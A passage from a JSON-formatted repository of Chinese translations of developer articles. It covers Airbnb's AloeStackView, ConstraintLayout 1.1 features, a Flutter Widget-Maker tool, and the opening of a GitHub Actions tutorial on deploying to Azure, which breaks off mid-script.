的基础。\n\n是什么让这项技术非常有用？是它允许您随时保持对视图的强引用并动态更改其属性，而自动布局会自动使 UI 保持最新。\n\n在 Airbnb，我们发现这种技术非常适合接受用户输入的页面，例如表格。在这些情况下，保持对用户正在编辑的字段的强引用通常很方便，并直接使用验证反馈更新 UI。\n\n我们发现这种技术另一个有用的地方是在由不同视图组成的较小页面上，少于一两个内容。简单地以简单的方式在 UI 中声明视图列表通常可以更快，更轻松地实现这些屏幕。\n\n在实践中，我们发现 iOS 应用程序中的大量的页面属于这些类别。AloeStackView 简单灵活的 API 使我们能够快速，轻松地构建多个页面，使其成为我们工具箱中的有用工具。\n\n### 减少 Bug\n\n我们提高开发人员效率的另一种方法是专注于使 iOS UI 开发能更容易的正确完成。AloeStackView API 的主要目标是通过设计确保安全性，以便工程师花费更多时间来构建产品，减少跟踪 Bug 的时间。\n\nAloeStackView 没有 reloadData 方法，或其他任何方式通知它更改有关视图。这使得它比像 UITableView 这样的类更不容易出错且更容易调试。例如，AloeStackView 永远不会因为对其管理的视图的基础数据的更改导致崩溃。\n\n由于 AloeStackView 底层使用了 UIStackView，因此在滚动时它不会回收视图。这消除了因未正确回收视图而导致的常见错误。它还提供了额外的优点，即当用户与它们交互时不需要独立地维护视图状态。这可以使一些UI更容易实现，并减少错误可能蔓延的表面区域。\n\n### 权衡利弊\n\n虽然 AloeStackView 既方便又实用，但我们发现它并不适合所有的情况。\n\n例如，AloeStackView 在您加载屏幕时一次性布局整个 UI。因此，较长的屏幕会在 UI 首次显示之前看到延迟。因此，AloeStackView 更适合用少于一两个内容来实现的 UI。\n\n放弃视图回收机制也是一种权衡：虽然 AloeStackView 编写 UI 的速度更快，而且不容易出错，但是它的性能不佳，并且对更长的页面来说，会比 UITableView 这样的类使用更多的内存。因此，像 UITableView 和 UICollectionView 这样的类仍然是展示包含许多相同类型视图的页面的良好选择，它们都展示相似了的数据。\n\n尽管有这些限制，我们发现AloeStackView非常适合大量的用例。事实证明，AloeStackView 在实现 UI 方面非常高效和高效，并帮助我们实现了提高 iOS 开发效率的目标。\n\n### 保持代码可管理性\n\n经常引入第三方依赖会导致的一个问题是二进制包大小的增加。这正是我们想用 AloeStackView 避免的。整个库少于 500 行代码，没有外部依赖，这使二进制包大小的增加最小。\n\n少量代码除了占用空间少以外也有其他方面的帮助：它使库更易于理解，更快地集成到现有应用程序中，无需调试，也更容易做出贡献。\n\n另一个问题是，有时与第三方具有依赖关系的库和您的应用当前的工作方式之间会出现不匹配的情况。为了缓解这个问题，AloeStackVie 尽可能少地限制它的使用方式。任何 UIView 都可以与 AloeStackView 一起使用，这使您可以轻松地与您当前用于在应用程序中构建 UI 的任何模式集成。\n\n所有这些功能相结合，使 AloeStackView 非常容易且毫无风险地进行试用。如果您对此感兴趣，请 [试一试](https://github.com/airbnb/AloeStackView) 并告诉我们您的想法。\n\nAloeStackView 不是我们用于在 Airbnb 上构建 iOS UI 的唯一基础架构，但在许多情况下它对我们很有价值。我们希望您也觉得它很有用！\n\n### 开始您的使用\n\n我们很高兴的开源了 AloeStackView。如果您想了解更多信息，请访问 [GitHub repository](https://github.com/airbnb/AloeStackView)。\n\n如果您或您的公司发现此库有用，我们很乐意听取您的意见。如果您想要取得联系，请随时给维护人员发送电子邮件（你可以在 [GitHub](https://github.com/airbnb/AloeStackView#maintainers) 找到我们），或者你可以通过 [aloestackview@airbnb.com](mailto:aloestackview@airbnb.com) 联系我们。\n\n* * *\n\n**想参与其中吗？我们一直在寻找 [有才华的人加入我们的团队](https://www.airbnb.com/careers)！**\n\n* * *\n\n**AloeStackView 由 Marli Oshlack、Fan Cox 和 Arthur Pang 开发和维护。**\n\n**AloeStackView 同样也受益于许多 Airbnb 工程师的贡献: Daniel Crampton、Francisco Diaz、 David He、 Jeff Hodnett、 Eric Horacek、 Garrett Larson、 Jasmine Lee、 Isaac Lim、 Jacky Lu、 Noah Martin、 Phil Nachum、 Gonzalo Nuñez、 Laura Skelton、 Cal Stephens 和 Ortal Yahdav。**\n\n**此外，如果没有得到 Jordan Harband、 Tyler Hedrick、 Michael Bachand、 Laura Skelton、 Dan Federman 和 John Pottebaum 的帮助和支持，就不可能开源这个项目。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-constraint-layout-1-1.md",
    "content": "> * 原文地址：[Introducing Constraint Layout 1.1](https://medium.com/google-developers/introducing-constraint-layout-1-1-d07fc02406bc)\n> * 原文作者：[Sean McQuillan](https://medium.com/@objcode?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-constraint-layout-1-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-constraint-layout-1-1.md)\n> * 译者：[Moosphon](https://github.com/Moosphan)\n> * 校对者：[androidxiao](https://github.com/androidxiao) [LeeSniper](https://github.com/LeeSniper)\n\n# 带你领略 ConstraintLayout 1.1 的新功能\n\n**约束布局**（ConstraintLayout）通过使用 Android Studio 中的可视化编辑器来为您生成绝大多数的 UI，进而达到简化 Android 中创建复杂布局的目的。它通常被我们描述为更加强大的 `RelativeLayout`。通过使用约束布局，您可以定义一些复杂的布局而不需要创建复杂的视图层级。\n\n约束布局最近发布了 1.1 稳定版本，并迅速获得大量好评。全面的优化改进可以让多数布局的运行速度比以前更快，屏障和群组等新功能使现实生活的设计变得简单！\n\n#### Android Gradle\n\n```\ndependencies {\n    compile 'com.android.support.constraint:constraint-layout:1.1.0'\n}\n```\n\n如果您想要在项目中使用新特性，需要添加 ConstraintLayout 1.1 版本作为依赖。\n\n### 1.1 版本中的新特性\n\n#### 百分比\n\n在约束布局 1.0 版本中，需要使用两条引导线才能让视图根据百分比来占据屏幕。而在约束布局 1.1 版本中，通过允许您轻松地将任何视图限制为百分比宽度或高度，一切将变得很简单。\n\n![](https://cdn-images-1.medium.com/max/800/1*uqU2HbwRZeik-P2Ny-leIg.jpeg)\n\n使用百分比指定按钮的宽度，以便在保持设计效果的同时适应可用空间。\n\n所有视图都支持 `layout_constraintWidth_percent` 和 `layout_constraintHeight_percent` 属性。这些将导致约束被固定在可用空间指定百分比位置。 因此，使用几行 XML 代码就可以使 `Button` 或 `TextView` 展开并以百分比填充屏幕。\n\n```\n<Button\n    android:layout_width=\"0dp\"\n    android:layout_height=\"wrap_content\"\n    app:layout_constraintWidth_percent=\"0.7\" />\n```\n\n#### 链条\n\n通过**链条**功能来放置多个元素可以让你配置它们该如何填充可用空间。在 1.1 版本中，我们已经修复了链条的一些问题，并使它们能够处理更多的视图。您可以通过在两边添加约束来生成一个链条。例如在下面这个动画中，每个视图之间都有一个约束。\n\n![](https://cdn-images-1.medium.com/max/800/1*3wFzyPS9Fpc-b52roKVSCQ.gif)\n\n通过 **spread**，**spread_inside** 和 **packed**，链条能够让您配置如何布置多个相关的视图。\n\n`app:layout_constraintVertical_chainStyle` 属性可以作用于链条中的任何视图。 您可以设置它的值为 `spread`，`spread_inside` 或者 `packed`。\n\n*   **spread**：均匀分配链中的所有视图\n*   **spread_inside**：将第一个元素和最后一个元素放置在边缘上，并均匀分布其余元素\n*   **packed**：将元素包裹在链条的中心\n\n#### 屏障\n\n如果您有几个视图会在运行时更改大小，则可以使用**屏障**功能来约束元素。您可以将屏障放置于几个元素的开始，顶部，末尾或底部。您可以将其视为制作虚拟组的一种方式 ，因为它不会将此组添加到视图层次结构中。\n\n在布置国际化字符串或显示用户生成的无法预测大小的内容时，屏障非常有用。\n\n![](https://cdn-images-1.medium.com/max/800/1*6Moj_NLX9iIzfen3aUh6WA.gif)\n\n屏障允许您通过几个视图来创建一个约束。\n\n屏障将始终将自己置于虚拟群组之外，并且您可以使用它来限制其他视图。在上面这个例子中，右视图被限制为始终处于最大文本视图的末尾。\n\n#### 群组\n\n有时您需要一次显示或隐藏多个元素。为了支持这个，约束布局增加了**群组**功能。\n\n一个群组并没有增加视图的层级——这实际上只是一种标记视图的方式。在下面的示例中，我们将标记 `profile_name` 和 `profile_image` 以供 id 配置文件引用。\n\n当您有多个需要显示或陈列在一起的元素时，这将很有用。\n\n```\n<android.support.constraint.Group\n    android:id=\"@+id/profile\"\n    app:constraint_referenced_ids=\"profile_name,profile_image\" />\n```\n\n当定义名为 `profile` 的群组后，您可以为该群组设置可见性，并将其应用于 `profile_name` 和 `profile_image`。\n\n```\nprofile.visibility = GONE\n\nprofile.visibility = VISIBLE\n```\n\n#### 圆形约束\n\n在约束布局中，大多数约束由屏幕尺寸指定——水平和垂直。在约束布局 1.1 版本中，有一个新的类型约束 `constraintCircle`，它允许您指定沿着一个圆形进行约束。您不必提供水平和垂直边距，而是指定圆的角度和半径。这对于像径向菜单这样的角度偏移的视图将非常有用！\n\n![](https://cdn-images-1.medium.com/max/800/1*dkCMb35o4HN7SVX8S1N3ig.gif)\n\n您可以通过指定要偏移的**半径**和**角度来创建径向菜单。\n\n创建圆形约束时，请注意，角度从顶部开始并顺时针进行。在这个例子中，你将按如下方式指定中间的 fab：\n\n```\n<android.support.design.widget.FloatingActionButton\n    android:id=\"@+id/middle_expanded_fab\"\n    app:layout_constraintCircle=\"@+id/fab\"\n    app:layout_constraintCircleRadius=\"50dp\"\n    app:layout_constraintCircleAngle=\"315\" />\n```\n\n#### 约束集与动画\n\n您可以将 `ConstraintLayout` 随同 [`ConstraintSet`](https://developer.android.com/reference/android/support/constraint/ConstraintSet.html) (约束集)一起使用来一次实现多个元素的动画效果。\n\n一个 `ConstraintSet` 仅持有一个 `ConstraintLayout` 的约束。你可以在代码中创建一个`ConstraintSet`，或者从一个布局文件中加载它。然后，您可以将 `ConstraintSet` 应用于 `ConstraintLayout`，更新所有约束以匹配 `ConstraintSet` 中的约束。\n\n要使其具有动画效果，请使用 support library 中的 [`TransitionManager.beginDelayedTransition()`](https://developer.android.com/reference/android/transition/TransitionManager.html#beginDelayedTransition%28android.view.ViewGroup%29) 方法。此功能将使您的 `ConstraintSet` 中的所有布局的更新都通过动画来呈现。\n\n这是一个更深入地涵盖了这个话题的视频：\n\n* YouTube 视频链接：https://youtu.be/OHcfs6rStRo\n\n#### 新的优化\n\n约束布局 1.1 版本中添加了几个新的优化点，可加快您的布局速度。这些优化点作为一个单独的通道运行，并尝试减少布局视图所需的约束数量。\n\n总的来说，它们是通过在布局中寻找常量并简化它们来运作的。\n\n有一个名为 `layout_optimizationLevel` 的新标签，用于配置优化级别。它可以设置为以下内容：\n\n*   **barriers**：找出**屏障**所在，并用简单的约束取代它们\n*   **direct**：优化那些直接连接到固定元素的元素，例如屏幕边缘或引导线，并继续优化直接连接到它们的任何元素。\n*   **standard**：这是包含 **barriers** 和 **direct** 的默认优化级别。\n*   **dimensions**：目前处于实验阶段，并且可能会在某些布局上出现问题——它会通过计算维度来优化布局传递。\n*   **chains**：目前正在实验阶段，并计算出如何布置固定尺寸的元素链。\n\n如果你想尝试试验性的优化上述中的 **dimensions** 和 **chains**，你可以在 ConstraintLayout 中通过如下代码来启用它们：\n\n```\n<android.support.constraint.ConstraintLayout \n    app:layout_optimizationLevel=\"standard|dimensions|chains\"\n```\n\n喜欢这篇文章？不如给 Sean McQuillan 一点鼓励。\n\n## 了解更多\n\n* [使用约束布局构建响应式 UI | Android Developers](https://developer.android.com/training/constraint-layout/index.html)\n* [约束布局 | Android Developers](https://developer.android.com/reference/android/support/constraint/ConstraintLayout.html)\n* [使用约束布局来设计你的 Android 视图](https://codelabs.developers.google.com/codelabs/constraint-layout/)\n\n想要了解有关约束布局 1.1 版本的更多信息，请查看文档和代码实验室！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-flutter-widget-maker-a-flutter-app-builder-written-in-flutter.md",
    "content": "> * 原文地址：[Introducing: Flutter Widget-Maker, a Flutter App-Builder written in Flutter](https://medium.com/flutter-community/introducing-flutter-widget-maker-a-flutter-app-builder-written-in-flutter-231e8d959348)\n> * 原文作者：[Norbert](https://medium.com/@norbertkozsir)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-flutter-widget-maker-a-flutter-app-builder-written-in-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-flutter-widget-maker-a-flutter-app-builder-written-in-flutter.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[Mirosalva](https://github.com/Mirosalva)\n\n# 介绍一款 Flutter 的 Widget 生成器：用 Flutter 编写的应用构建工具\n\n不只是一个布局生成器\n\n![](https://cdn-images-1.medium.com/max/1600/1*bZoLu2GwC2seNXdAJ0i7Ow.gif)\n\n这是一款 Flutter Widget-Maker。虽然第一眼看上去它和其他布局生成器没什么差异，但是它具有更多功能。\n\n**可以进入我制作的应用首页查看详情**：[_https://norbert515.github.io/widget_maker/website/_](https://norbert515.github.io/widget_maker/website/)\n\n* * *\n\n### 主要功能\n\n下面我将介绍的就是这款软件的主要功能\n\n**请先记住一点，大部分功能还没完全实现。**\n\n#### 代码与视图的无缝衔接\n\n不需要任何的复制粘贴，你只需要拖放我们的滑块就可以自动修改代码。\n\n![](https://cdn-images-1.medium.com/max/1600/1*9CAO5kdRqpZ3KKyQtjY4UA.gif)\n\n可以做到微小幅度的调整。\n\n#### 响应式编辑\n\n拖放组件的同时也会自动编辑它的源代码。\n\n![](https://cdn-images-1.medium.com/max/1600/1*H3F9CwctvzaFkfcSDiXKHQ.gif)\n\n编辑中的应用可以处在运行状态。\n\n#### 能够轻松地修改一些复杂属性\n\n能够轻而易举地修改 `BoxDecorations`、`CustomPaints` 还有 `CustomMultiChildLayouts` 这些复杂属性。\n\n* * *\n\n### 项目的核心概念\n\n**对传统的编码形式做出提升而不是取代**\n\n区别于其他一些尽可能隐藏实际的 HTML 和 CSS 代码的 HTML 编辑器（我觉得原因可能是有些人觉得 CSS 是很可怕的），这款编辑器释放了底层代码的强大功能。\n\n它不是将代码隐藏在图形化界面下，而是生成清晰、易读和可靠代码的同时，还可以通过图形化界面实现组件可视化和可编辑的特性。\n\n**没有平台限制**\n\n这款 Widget-Maker 软件能够在所有的桌面平台上运行。不仅如此，得益于 Hummingbird 项目，它能直接在网页上运行。\n\n除了能够在移动设备上运行编辑器之外，我还会考虑让用户能够在手机上编译自己的应用程序。我做了一些研究，我很确定我的想法是可行的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*tZoNGhSjm0GUk-vmTGQI0Q.gif)\n\n应用程序在平板电脑上运行\n\n**不需要任何花里胡哨的配置**\n\n当 widget 生成器打开一个包含 widget 的 dart 文件时，widget 生成器会自动捕获分析 widget 并展示视图编辑器界面。。\n\n**适用于每个人**\n\n无论你是 Flutter 的新手，或者自从 alpha 版本就开始进行 Flutter 编码，都没关系，Widget-Maker 将为每个人带来价值。\n\n* * *\n\n### 快速的反馈回路\n\n在我看来，快速的反馈回路能够为你带来最大的生产力提升。虽然 Flutter 的热重载做的很好，但是有些地方还可以做些优化。\n\n我想谈谈一个例子：开发响应式布局。\n\n你会做的就是编写代码并检查它在小型设备上的呈现，然后再在平板电脑上观察其呈现。\n\n你也可能有幸拥有支持调整大小的设备模拟器、嵌入器，与同时打开多个物理设备、模拟器相比，这已经是一个巨大的进步。但是你仍然需要更改代码，然后将窗口调整为一堆不同的大小并不断重复这一操作。\n\n但 Widget-Maker 的工作流程可能如下所示：\n\n在一个图形化界面中打开不同大小的 Flutter 应用程序，在滑动滑块时实时更新，例如，控制其中一个 Expanded 的 flex 值。\n\n* * *\n\n### 未来可能做的一些尝试\n\n我不想把现在的所有想法都拿来讨论，只是因为我首先要在扩展之前让它变得健壮（我有太多的想法），但这里有一些我的想法，而且有一天很有可能会让它成为现实：\n\n#### 通过 keyframes 实现动画\n\n工作流程：\n\n选择一个属性并设置 keyframe，按下按钮或者触发其他操作，选择相同的属性并添加另一个 keyframe。\n\n动画的代码立刻就能生成并能使用。\n\n#### 即时编写测试\n\n组件测试：自动生成组件的预期结果图像（待比较的组件图像）和常用的 assertions 方法（实际设置的颜色等等）。\n\n集成测试：点击你的应用程序并设置 assert（就像安卓的 Robolectric），然后生成（能够在无头浏览器中运行的）组件测试用例和在实际设备上的测试用例。\n\n#### 共享和下载组件\n\n与 pub（Dart 包管理器）类似，但专注于组件\n\n主要区别是：\n\n1.  无需向 `pubspec.yaml` 文件添加任何内容\n2.  可以预览组件的效果并查看源代码\n3.  从 Web 中拖放组件\n4.  共享和浏览组件\n\n### 下载程序\n\n传送门：[https://github.com/Norbert515/flutter_ide/releases/tag/v0.1-alpha](https://github.com/Norbert515/flutter_ide/releases/tag/v0.1-alpha)\n\n只需解压缩文件夹并运行 `run.bat` 文件即可。\n\n如果它不起作用，请尝试安装C ++运行时文件：([https://aka.ms/vs/15/release/vc_redist.x64.exe](https://aka.ms/vs/15/release/vc_redist.x64.exe))\n\n* * *\n\n### 你能为这个项目做哪些贡献？\n\n我觉得这会是个大项目，但我需要你们的意见反馈。\n\n在深入研究这个（一些人认为我已经做到了）项目之前，我需要确认大家对这个项目是否真正感兴趣。\n\n为此，我制作了当前的演示版，可供下载和播放。但希望大家能记得，这只是一个演示版，它还有一些即将完成修复的 bug。\n\n如果你喜欢这个项目或有什么意见建议，请通过电子邮件或 Twitter 或者其他方式告知我。我得到的反馈越多越好，这样我就可以对该项目的未来作出更明智的决定。\n\n**PS. 感谢 [Simon Lightfoot](https://twitter.com/devangelslondon?lang=en) 在最后阶段给予的帮助 :)**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-github-actions.md",
    "content": "> * 原文地址：[Introducing GitHub Actions](https://css-tricks.com/introducing-github-actions/)\n> * 原文作者：[SARAH DRASNER](https://css-tricks.com/author/sdrasner/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-github-actions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-github-actions.md)\n> * 译者：[子非](https://www.github.com/CoolRice)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996), [calpa](https://github.com/calpa)\n\n# GitHub Actions 介绍，了解一下？\n\n有一种常见的情况：你创建了一个网站并且已经准备运行了。这一切都在 GitHub 上。但是你还没**真正完成**。你需要准备部署。你需要准备一个处理程序来为你运行测试，你不用总是手动运行命令。理想情况下，每一次你推送到 master 分支，所有东西都会在某个地方为你自动运行：测试，部署……\n\n以前，只有很少的选项可以帮助解决这个问题。你可能需要把其他服务集中，设置，并和 GitHub 整合。你也可以写 post-commit hooks，这也会有帮助。\n\n但是现在，**[GitHub Actions](https://github.com/features/actions) 已经到来**。\n\n![](https://css-tricks.com/wp-content/uploads/2018/10/github-actions.png)\n\nActions 是一小段代码片段，可以运行很多 GitHub 事件，最普遍的是推送到 master 分支。但它并非仅限于此。它们都已经直接和 GitHub 整合，这意味着你不在需要中间服务或者需要你自己来写方案。并且它们已经有很多选项可供你选择。例如，你可以发布到 NPM 并且部署到各种云服务，举一些例子（Azure，AWS，Google Cloud，Zeit……凡是你说得出的）。\n\n**但是 actions 并不仅仅只是部署和发布。** 这就是它们酷炫的地方。它们都是容器，毫不夸张地说你可以做**任何事情** —— 有着无尽的可能性！你可以用它们压缩合并 CSS 和 JavaScript，在人们在你的项目仓库里在你的仓库创建 issue 的时候向你发送信息，以及更多……没有任何限制。\n\n你也可以不需要自己来配置或创建容器。Actions 允许你指向别的项目仓库，一个已存在的 Dockerfile，或者路径，操作将相应地运行。对于开源可能性和生态系统而言，这是一种全新的蠕虫病毒。\n\n### 建立你的第一个 action\n\n有两种方法建立 action：通过流程 GUI 或者手动写提交文件。我们将以 GUI 开始，因为它简单易懂，然后学习手写方式，因为它能提供最大化的控制。\n\n首先，我们通过[此处蓝色的大按钮](https://github.com/features/actions?WT.mc_id=actions-csstricks-sdras)登录 beta 版。进入 beta 版可能会花费一点点时间，稍等一下。\n\n![GitHub Actions beta 版站点的截图，其中有一个巨大的蓝色按钮来点击加入 beta 测试。](https://css-tricks.com/wp-content/uploads/2018/10/github-actions-beta.png)\n\nGitHub Actions beta 版站点。\n\n现在我们来创建一个仓库。我使用一个小的 Node.js 演示站点建了一个[小型演示仓库](https://github.com/actions/azure?WT.mc_id=actions-csstricks-sdras)。我可以发现在我的仓库上已经有一个新选项卡，叫做 Actions：\n\n![在演示仓库的截图中显示菜单中的 Actions 选项卡](https://css-tricks.com/wp-content/uploads/2018/10/action1.jpg)\n\n如果我点击 Actions 选项卡，屏幕会显示：\n\n![屏幕显示](https://css-tricks.com/wp-content/uploads/2018/10/Screen-Shot-2018-10-16-at-4.21.15-PM.png)\n\n我点击“Create a New Workflow”，然后我能看到下面的界面。这告诉我一些东西。首先，我创建了一个叫 `.github` 的隐藏文件夹，在它里面，我创建了一个叫 `main.workflow` 的隐藏文件。如果你要从 scratch（我们将详细讲解）创建工作流，你需要执行相同的操作。\n\n![新工作流](https://css-tricks.com/wp-content/uploads/2018/10/connect0.jpg)\n\n现在，我们能看到在这个 GUI 中我们启动了一个新的工作流。如果从我们的第一个 action 画一条线，会出现一个拥有大量选项的边侧栏。\n\n![显示边侧栏中所有 action 选项](https://css-tricks.com/wp-content/uploads/2018/10/action-options.jpg)\n\n这里有很多关于 npm、Filters、Google Cloud、Azure、Zeit、AWS、Docker Tags、Docker Registry 和 Heroku 的 action。如前所述，你没有任何关于这些选项的限制 —— 它能够做的非常多！\n\n我在 Azure 工作，所以我将以此为例，但是每一个 action 都提供给你相同选项，我们可以一起使用。\n\n![在边侧栏显示 Azure 选项](https://css-tricks.com/wp-content/uploads/2018/10/options-azure.jpg)\n\n在顶部，你可以看到“GitHub Action for Azure”标题，其中包含“View source”链接。这将直接带你到用于运行此操作的[仓库](https://github.com/actions/azure?WT.mc_id=actions-csstricks-sdras)。这非常好，因为你还可以提交拉取请求以改进其中任何一项，并且可以根据 Actions 面板中的“uses”选项灵活地更改你正在使用的 action。\n\n以下是我们提供的选项的简要说明：\n\n*   **Label**：这是 Action 的名称，正如你所假设的那样。此名称由 resolves 数组中的工作流引用 —— 这就是在它们之间创建连接的原因。这篇文章是在 GUI 中为你抽象出来的，但你会在下一节中看到，如果你在代码中工作，你需要保持引用相同才能进行链接工作。\n*   **Runs**：允许你覆盖入口点。这很好，因为如果你想 git 在容器中运行，可以做到！\n*   **Args**：这是你所期望的 —— 它允许你将参数传递给容器。\n*   **secrets** 和 **env**：这些都是非常重要的，因为这是你将如何使用密码，保护数据，而无需直接提交他们到仓库。如果你正在使用需要令牌来部署的东西，你可能会在这里使用 secret 来传递它。\n\n[其中许多操作都有自述文件](https://github.com/actions/?WT.mc_id=actions-csstricks-sdras)，可以告诉您需要什么。“secrets”和“env”的设置通常如下所示：\n\n```\naction \"deploy\" {\n  uses = ...\n  secrets = [\n    \"THIS_IS_WHAT_YOU_NEED_TO_NAME_THE_SECRET\",\n  ]\n}\n```\n\n您还可以在 GUI 中将多个 action 串联起来。很容易让 action 顺序执行或并行执行。这意味着只需在界面中将东西链接在一起就可以很好地运行异步代码。\n\n### 用代码写 action\n\n如果这里显示的并没有我们需要的怎么办？幸运的是写 action 其实非常有趣！我写过一个 action 来部署 Node.js 的 Web 应用到 Azure，因为它允许我在每次推送到仓库的主分支时随时部署。这个超级有趣，因为我现在可以复用它到我的其它 Web 应用。\n\n#### 创建应用服务账户\n\n如果你要使用其它服务，这部分会发生变化，但是你需要在你要在你使用的地方创建一个已存在的服务来部署。\n\n首先你需要获取你的[免费 Azure 账户](https://azure.microsoft.com/en-us/free/?WT.mc_id=actions-csstricks-sdras)。我喜欢用 [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest&WT.mc_id=actions-csstricks-sdras)，如果你没有安装过，你可以运行：\n\n```\nbrew update && brew install azure-cli\n```\n\n然后，我们运行下面代码来登录：\n\n```\naz login\n```\n\n现在，我们会创建 [Service Principle](https://docs.microsoft.com/en-us/cli/azure/create-an-azure-service-principal-azure-cli?view=azure-cli-latest&WT.mc_id=actions-csstricks-sdras)，通过运行：\n\n```\naz ad sp create-for-rbac --name ServicePrincipalName --password PASSWORD\n```\n\n它会输出如下内容，会在创建我们的 action 时用到：\n\n```\n{\n  \"appId\": \"APP_ID\",\n  \"displayName\": \"ServicePrincipalName\",\n  \"name\": \"http://ServicePrincipalName\",\n  \"password\": ...,\n  \"tenant\": \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"\n}\n```\n\n#### action 里面有什么？\n\n这里有一个基本的流程示例和一个 action，你可以看到它的架构：\n\n```\nworkflow \"Name of Workflow\" {\n  on = \"push\"\n  resolves = [\"deploy\"]\n}\n\naction \"deploy\" {\n  uses = \"actions/someaction\"\n  secrets = [\n    \"TOKEN\",\n  ]\n}\n```\n\n可以看到我们启动了流程，并明确我们想它在 **on push**（`on = \"push\"`）运行。还有很多其它你可以用的选项，[这里是完整的清单列表](https://developer.github.com/actions/creating-workflows/workflow-configuration-options/?WT.mc_id=actions-csstricks-sdras#events-supported-in-workflow-files)。\n\n下方的 **resolves** 行 `resolves = [\"deploy\"]` 是一个 action 数组，它会串联随后的工作流。不用指定顺序，只是一个完全列表。你可以看到我们调用“deploy”后面的 action —— 只需要匹配这些字符串，这就是它们之间如何引用的。\n\n下面，我们看一看 **action** 部分。第一行 **uses** 十分有趣：立刻你可以使用我们之前讨论的任何预定义 action（[这是完全清单](https://github.com/actions/?WT.mc_id=actions-csstricks-sdras)）。但你也可以使用其它人的仓库，甚至是托管在 Docker 站点的文件。例如，如果我们想在容器中执行 git，[让我们使用这个](https://hub.docker.com/r/alpine/git/~/dockerfile/)。我可以这样做 `uses = \"docker://alpine/git:latest\"`。（感谢 [Matt Colyer](https://twitter.com/mcolyer) 为我指出 URL 的正确方法）\n\n我们可能需要在这里定义一些机密的配置或环境变量，并且这样使用它们：\n\n```\naction \"Deploy Webapp\" {\n  uses = ...\n  args = \"run some code here and use a $ENV_VARIABLE_NAME\"\n  secrets = [\"SECRET_NAME\"]\n  env = {\n    ENV_VARIABLE_NAME = \"myEnvVariable\"\n  }\n}\n```\n\n### 创建一个自定义 action\n\n自定义 action 会采用我们[运行部署 Web App 到 Azure](https://docs.microsoft.com/en-us/azure/app-service/app-service-web-get-started-nodejs?WT.mc_id=actions-csstricks-sdras) 经常用的命令，并把它们写成以只传几个值的方式，这样 action 就会为我们全部执行。文件看起来要比你在 GUI 上创建的[第一个基础 Azure action](https://github.com/actions/azure?WT.mc_id=actions-csstricks-sdras) 更复杂并且是建立在它之上的。\n\n在 entrypoint.sh：\n\n```\n#!/bin/sh\n\nset -e\n\necho \"Login\"\naz login --service-principal --username \"${SERVICE_PRINCIPAL}\" --password \"${SERVICE_PASS}\" --tenant \"${TENANT_ID}\"\n\necho \"Creating resource group ${APPID}-group\"\naz group create -n ${APPID}-group -l westcentralus\n\necho \"Creating app service plan ${APPID}-plan\"\naz appservice plan create -g 